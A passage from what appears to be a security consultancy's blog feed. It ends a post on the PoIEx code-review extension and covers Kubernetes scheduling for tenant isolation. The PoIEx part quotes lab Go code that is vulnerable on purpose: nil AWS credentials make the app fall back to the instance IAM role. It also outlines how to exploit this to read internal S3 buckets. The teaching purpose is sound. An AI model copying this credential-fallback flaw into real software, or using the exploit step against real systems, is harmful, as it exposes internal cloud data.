&lt;p&gt;Moreover, by right-clicking the issue, it is possible to apply a flag and update its status as: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;❌  false positive&lt;/code&gt;,&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;🔥 Hot&lt;/code&gt; or ` ✅ resolved`. The status is synced in collaboration mode to avoid duplicating checks.&lt;/p&gt;

&lt;p&gt;The extension settings allow the user to setup custom arguments for Semgrep. As an example we currently use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--config /path/to/your/custom-semgrep-rules --metrics off&lt;/code&gt; to turn off metrics and set it use our custom rules.&lt;/p&gt;

&lt;p&gt;The scan can be started from the extension side-menu and the results are explorable from the VS Code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;problems&lt;/code&gt; sub-menu. Users can use the built-in search functionality in a smart way to find interesting leads.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/poiexgif3.gif&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;figcaption&gt;&lt;i&gt;Example Semgrep results and listed PoIs exploration with emoji flagging&lt;/i&gt;&lt;/figcaption&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;-project-oriented-design&quot;&gt;🎯 Project-oriented Design&lt;/h3&gt;

&lt;p&gt;PoIEx allows for real-time synchronization of findings and comments with other users. When using collaboration features, a MongoDB instance needs to be shared across all collaborators of the team.&lt;/p&gt;

&lt;p&gt;The project-oriented design allows us to map projects and share an encryption key with the testers assigned to a specific activity. This design feature ensures that sensitive data is encrypted at rest.&lt;br /&gt;&lt;br /&gt;
Comments and scan results are synced to a MongoDB instance, while the codebase remains local and each reviewer must share the same version.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;a-real-world-analysis-example---solving-tidbits-ep1-with-poiex&quot;&gt;A Real-World Analysis Example - Solving Tidbits Ep.1 With PoIEx&lt;/h2&gt;

&lt;p&gt;In case you are not familiar with it, CloudSec Tidbits is our blogpost series showcasing interesting real-world bugs found by Doyensec during cloud security testing activities. The blog posts &amp;amp; labs can be found in this &lt;a href=&quot;https://github.com/doyensec/cloudsec-tidbits&quot; target=&quot;_blank&quot;&gt;repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Episode 1 describes a specific type of vulnerability affecting the application logic when user-input is used to instantiate the AWS SDK client. Without proper checks, the user could be able to force the app to use the instance role, instead of external credentials, to interact with the AWS service. Depending on the functionality, such a flaw could allow unwanted actions against the internal infrastructure.&lt;/p&gt;

&lt;p&gt;Below, we are covering the issue identification in a code review, as soon as the codebase is opened and explored with PoIEx.&lt;/p&gt;

&lt;p&gt;Once downloaded and opened in VS Code, examine the codebase for &lt;a href=&quot;https://github.com/doyensec/cloudsec-tidbits/tree/main/lab-dataimport&quot; target=&quot;_blank&quot;&gt;Lab 1&lt;/a&gt;, by using PoIEx to run Semgrep and show the infrastructure diagram by selecting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main.tf&lt;/code&gt; file. The result should be similar to the following one.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/poiex-solve-tidbit-1.png&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The notifications on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aws_s3_bucket.data_internal&lt;/code&gt; represent two findings for that bucket.
By clicking on it, a new tab is opened to visualize them.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/poiex-solve-tidbit-2.png&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The first group contains PoIs and Semgrep findings, while the second group contains the IaC definition of the clicked entity.&lt;/p&gt;

&lt;p&gt;In that case we see that there is an S3 PoI in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app/web.go:52&lt;/code&gt;. Once clicked, we are redirected at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetListObjects&lt;/code&gt; function defined at  &lt;a href=&quot;https://github.com/doyensec/cloudsec-tidbits/blob/main/lab-dataimport/app/web.go#L50&quot; target=&quot;_blank&quot;&gt;web.go#L50&lt;/a&gt;. While it is just listing the files in an S3 bucket, both the SDK client config and bucket name are passed as parameters in its signature.&lt;/p&gt;

&lt;p&gt;A quick search for its usages will show the vulnerable code&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Go&quot;&gt;//*aws config initialization
aws_config := &amp;amp;aws.Config{}

if len(imptdata.AccessKey) == 0 || len(imptdata.SecretKey) == 0 {
	fmt.Println(&quot;Using nil value for Credentials&quot;)
	aws_config.Credentials = nil
} else {
	fmt.Println(&quot;Using NewStaticCredentials&quot;)
	aws_config.Credentials = credentials.NewStaticCredentials(imptdata.AccessKey, imptdata.SecretKey, &quot;&quot;)
}
//list of all objects
allObjects, err := GetListObjects(session_init, aws_config, *aws.String(imptdata.BucketName))
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aws_config.Credentials&lt;/code&gt; is set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nil&lt;/code&gt;because of a missing key/secret in the input, the credentials provider chain will be used and the instance’s IAM role is assumed. In that case, the automatically retrieved credentials have full access to internal S3 buckets. Quickly jump to the TF definition from the S3 bucket results tab.&lt;/p&gt;

&lt;p&gt;After the listing, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DownloadContent&lt;/code&gt; function is executed (at &lt;a href=&quot;https://github.com/doyensec/cloudsec-tidbits/blob/main/lab-dataimport/app/web.go#L129&quot; target=&quot;_blank&quot;&gt;web.go line 129&lt;/a&gt; ) and the bucket’s contents are exposed to the user.&lt;/p&gt;

&lt;p&gt;At this point, the reviewer knows that if the function is called with an empty AWS Key or Secret, the import data functionality will end up downloading the content with the instance’s role, hence allowing internal bucket names as input.&lt;/p&gt;

&lt;p&gt;To exploit the vulnerability, hit the endpoint &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/importData&lt;/code&gt; with empty credentials and the name of an internal bucket (solution at the beginning of &lt;a href=&quot;https://blog.doyensec.com/2023/01/24/tampering-unrestricted-user-attributes-aws-cognito.html&quot; target=&quot;_blank&quot;&gt;Cloudsec Tidbits episode 2&lt;/a&gt;).&lt;/p&gt;

&lt;h2 id=&quot;stay-tuned&quot;&gt;Stay Tuned!&lt;/h2&gt;

&lt;p&gt;This project was made with love on the &lt;a href=&quot;https://doyensec.com/research.html&quot; target=&quot;_blank&quot;&gt;Doyensec Research Island&lt;/a&gt; by &lt;a href=&quot;https://www.linkedin.com/in/michelelizzit/&quot; target=&quot;_blank&quot;&gt;Michele Lizzit&lt;/a&gt; for his master thesis at ETH Zurich under the mentoring of &lt;a href=&quot;https://www.linkedin.com/in/francesco-lacerenza/&quot; target=&quot;_blank&quot;&gt;Francesco Lacerenza&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Check out PoIEx! Install the last &lt;a href=&quot;https://github.com/doyensec/PoiEx/releases&quot; target=&quot;_blank&quot;&gt;release from GitHub&lt;/a&gt; and contribute with a &lt;a href=&quot;https://github.com/doyensec/PoiEx&quot; target=&quot;_blank&quot;&gt;star&lt;/a&gt;, &lt;a href=&quot;https://github.com/doyensec/PoiEx/issues&quot; target=&quot;_blank&quot;&gt;bug reports or suggestions&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Kubernetes Scheduling And Secure Design</title>
   <link href="https://blog.doyensec.com/2024/01/23/k8s-scheduling-secure-design.html"/>
   <updated>2024-01-23T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2024/01/23/k8s-scheduling-secure-design</id>
   <content type="html">&lt;p&gt;During testing activities, we usually analyze the design choices and context needs in order to suggest applicable remediations depending on the different Kubernetes deployment patterns. Scheduling is often overlooked in Kubernetes designs. Typically, various mechanisms take precedence, including, but not limited to, admission controllers, network policies, and RBAC configurations.&lt;/p&gt;

&lt;p&gt;Nevertheless, a compromised pod could allow attackers to move laterally to other tenants running on the same Kubernetes node. Pod-escaping techniques or shared storage systems could be exploitable to achieve cross-tenant access despite the other security measures.&lt;/p&gt;

&lt;p&gt;Having a &lt;strong&gt;security-oriented scheduling strategy&lt;/strong&gt; can help to reduce the overall risk of workload compromise in a comprehensive security design. &lt;strong&gt;If critical workloads are separated at the scheduling decision, the blast radius of a compromised pod is reduced&lt;/strong&gt;. By doing so, lateral movements related to the shared node, from low-risk tasks to business-critical workloads, are prevented.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/napoleon-there-is-nothing-we-can-do.gif&quot; alt=&quot;CloudsecTidbit&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 250px;&quot; /&gt;&lt;figcaption&gt;&lt;i&gt;Attackers on a compromised pod with nothing around&lt;/i&gt;&lt;/figcaption&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Kubernetes provides multiple mechanisms to achieve isolation-oriented designs like node tainting or affinity. Below, we describe the scheduling mechanisms offered by Kubernetes and highlight how they contribute to actionable risk reduction.&lt;/p&gt;

&lt;p&gt;The following methods to apply a scheduling strategy will be discussed:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#nodeselector&quot; target=&quot;_blank&quot;&gt;nodeSelector&lt;/a&gt; field matching against &lt;a href=&quot;https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#built-in-node-labels&quot; target=&quot;_blank&quot;&gt;node labels&lt;/a&gt;;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#nodename&quot; target=&quot;_blank&quot;&gt;nodeName&lt;/a&gt; and namespace fields, basic and effective;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#affinity-and-anti-affinity&quot; target=&quot;_blank&quot;&gt;Affinity and anti-affinity&lt;/a&gt;, constraints type expansion for inclusion and repulsion;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity&quot; target=&quot;_blank&quot;&gt;Inter-pod affinity and anti-affinity&lt;/a&gt;, which focus labels matching on pods labels instead of nodes labels when dealing with inclusion and repulsion;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/&quot; target=&quot;_blank&quot;&gt;Taints and Tolerations&lt;/a&gt;, allowing a node to repel or tolerate a pod being scheduled;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#pod-topology-spread-constraints&quot; target=&quot;_blank&quot;&gt;pod topology spread constraints&lt;/a&gt;, based on regions, zones, nodes, and other user-defined topology domains;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Design a &lt;a href=&quot;https://kubernetes.io/docs/tasks/extend-kubernetes/configure-multiple-schedulers/&quot; target=&quot;_blank&quot;&gt;Custom Scheduler&lt;/a&gt;, tailored to your security needs&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;mechanisms-for-workloads-separation&quot;&gt;Mechanisms for Workloads Separation&lt;/h2&gt;

&lt;p&gt;As mentioned earlier, isolating tenant workloads from each other helps in reducing the impact of a compromised neighbor. That happens because all pods running on a certain node will belong to a single tenant. Consequently, an attacker capable of escaping from a container will only have access to the containers and the volumes mounted to that node.&lt;/p&gt;

&lt;p&gt;Additionally, multiple applications with different authorizations may lead to privileged pods sharing the node with pods having PII data mounted or a different security risk level.&lt;/p&gt;

&lt;h4 id=&quot;1-nodeselector&quot;&gt;1. nodeSelector&lt;/h4&gt;

&lt;p&gt;Among the constraints, it is the simplest one operating by just specifying the target node labels inside the pod specification.&lt;/p&gt;

&lt;p&gt;Example pod Spec&lt;/p&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;pod&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nodeSelector-pod&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nginx&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nginx:latest&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;nodeSelector&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;myLabel&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;myvalue&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If multiple &lt;em&gt;labels&lt;/em&gt; are specified, they are treated as required (&lt;strong&gt;AND&lt;/strong&gt; logic), hence scheduling will happen only on pods respecting all of them.&lt;/p&gt;

&lt;p&gt;While it is very useful in low-complexity environments, it could easily become a bottleneck stopping executions if many selectors are specified and not satisfied by nodes. Consequently, it &lt;strong&gt;requires&lt;/strong&gt; good monitoring and dynamic management of the labels assigned to nodes if many constraints need to be applied.&lt;/p&gt;

&lt;h4 id=&quot;2-nodename&quot;&gt;2. nodeName&lt;/h4&gt;

&lt;p&gt;If the &lt;em&gt;nodeName&lt;/em&gt; field in the Spec is set, the kube scheduler simply passes the pod to the kubelet, which then attempts to assign the pod to the specified node.&lt;/p&gt;

&lt;p&gt;In that sense, &lt;em&gt;nodeName&lt;/em&gt; overwrites other scheduling rules (e.g., &lt;em&gt;nodeSelector&lt;/em&gt;,&lt;em&gt;affinity&lt;/em&gt;, &lt;em&gt;anti-affinity&lt;/em&gt; etc.) since the scheduling decision is pre-defined.&lt;/p&gt;

&lt;p&gt;Example pod spec&lt;/p&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;pod&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nginx&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nginx&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nginx:latest&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;nodeName&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;node-critical-workload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Limitations:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The pod will not run if the node in the spec is not running or if it is out of resources to host it&lt;/li&gt;
  &lt;li&gt;Cloud environments like AWS’s EKS come with non predictable node names&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Consequently, it requires a detailed management of the available nodes and allocated resources for each group of workloads since the scheduling is pre-defined.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: De-facto such an approach invalidates all the computational efficiency benefits of the scheduler and it should be only applied on small groups of critical workloads easy to manage.&lt;/p&gt;

&lt;h4 id=&quot;3-affinity--anti-affinity&quot;&gt;3. Affinity &amp;amp; Anti-affinity&lt;/h4&gt;

&lt;p&gt;The &lt;em&gt;NodeAffinity&lt;/em&gt; feature enables the possibility to specify rules for pod scheduling based on some characteristics or labels of nodes. They can be used to ensure that pods are scheduled onto nodes meeting specific requirements (affinity rules) or to avoid scheduling pods in specific environments (anti-affinity rules).&lt;/p&gt;

&lt;p&gt;Affinity and anti-affinity rules can be set as either “preferred” (soft) or “required” (hard):
If it’s set as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;preferredDuringSchedulingIgnoredDuringExecution&lt;/code&gt;, this indicates a soft rule. The scheduler will try to adhere to this rule, but may not always do so, especially if adhering to the rule would make scheduling impossible or challenging.
If it’s set as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requiredDuringSchedulingIgnoredDuringExecution&lt;/code&gt;, it’s a hard rule. The scheduler will not schedule the pod unless the condition is met. This can lead to a pod remaining unscheduled (pending) if the condition isn’t met.&lt;/p&gt;

&lt;p&gt;In particular, anti-affinity rules could be leveraged to protect critical workloads from sharing the kubelet with non-critical ones. By doing so, the lack of computational optimization will not affect the entire node pool, but just a few instances that will contain business-critical units.&lt;/p&gt;

&lt;p&gt;Example of node affinity&lt;/p&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;pod&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;node-affinity-example&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;affinity&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
   &lt;span class=&quot;na&quot;&gt;nodeAffinity&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;preferredDuringSchedulingIgnoredDuringExecution&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
       &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;weight&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;
         &lt;span class=&quot;na&quot;&gt;preference&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;matchExpressions&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;net-segment&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;operator&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;In&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;segment-x&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;requiredDuringSchedulingIgnoredDuringExecution&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;nodeSelectorTerms&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;matchExpressions&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;workloadtype&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;operator&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;In&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;p0wload&lt;/span&gt;
            &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;p1wload&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;node-affinity-example&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;registry.k8s.io/pause:2.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The node is preferred to be in a specific network segment by label and it is required to match either a p0 or p1 workloadtype (custom strategy).&lt;/p&gt;

&lt;p&gt;Multiple operators are &lt;a href=&quot;https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#operators&quot; target=&quot;_blank&quot;&gt;available&lt;/a&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NotIn&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DoesNotExist&lt;/code&gt; are the specific ones usable to obtain node anti-affinity. From a security standpoint, only hard rules requiring the conditions to be respected matter. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;preferredDuringSchedulingIgnoredDuringExecution&lt;/code&gt; configuration should be used for computational configurations that can not affect the security posture of the cluster.&lt;/p&gt;

&lt;h4 id=&quot;4-inter-pod-affinity-and-anti-affinity&quot;&gt;4. Inter-pod Affinity and Anti-affinity&lt;/h4&gt;

&lt;p&gt;Inter-pod affinity and anti-affinity could constrain which nodes the pods can be scheduled on, based on the labels of pods already running on that node. &lt;br /&gt;As specified in Kubernetes &lt;a href=&quot;https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity&quot; target=&quot;_blank&quot;&gt;documentation&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;

  &lt;p&gt;&lt;em&gt;“Inter-pod affinity and anti-affinity rules take the form “this pod should (or, in the case of anti-affinity, should not) run in an X if that X is already running one or more pods that meet rule Y”, where X is a topology domain like node, rack, cloud provider zone or region, or similar and Y is the rule Kubernetes tries to satisfy.”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Example of anti-affinity&lt;/p&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;affinity&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;podAntiAffinity&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;requiredDuringSchedulingIgnoredDuringExecution&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;labelSelector&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;matchExpressions&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;app&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;operator&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;In&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;testdatabase&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;podAntiAffinity&lt;/code&gt; case above, we will never see the pod running on a node where a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testdatabase&lt;/code&gt; app is running.&lt;/p&gt;

&lt;p&gt;It fits designs where it is desired to schedule some pods together or where the system must ensure that certain pods are never going to be scheduled together.  In particular, the inter-pod rules allow engineers to define additional constraints within the same execution context without further creating segmentation in terms of node groups. Nevertheless, complex affinity rules could create situations with pods stuck in &lt;em&gt;pending&lt;/em&gt; status.&lt;/p&gt;

&lt;h4 id=&quot;5-taints-and-tolerations&quot;&gt;5. Taints and Tolerations&lt;/h4&gt;

&lt;p&gt;Taints are the opposite of node affinity properties since they allow a node to repel a set of pods not matching some tolerations. They can be applied to a node to make it repel pods unless they explicitly tolerate the taints.&lt;/p&gt;

&lt;p&gt;Tolerations are applied to pods and they allow the scheduler to schedule pods with matching taints. It should be highlighted that while tolerations allow scheduling, the decision is not guaranteed.&lt;/p&gt;

&lt;p&gt;Each node also defines an action linked to each taint: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NoExecute&lt;/code&gt; (affects running pods), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NoSchedule&lt;/code&gt; (hard rule), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PreferNoSchedule&lt;/code&gt; (soft rule).
The approach is ideal for environments where strong isolation of workloads is required. Moreover, it allows the creation of custom node selection rules not based solely on labels and it does not leave flexibility.&lt;/p&gt;

&lt;h4 id=&quot;6-pod-topology-spread-constraints&quot;&gt;6. Pod Topology Spread Constraints&lt;/h4&gt;

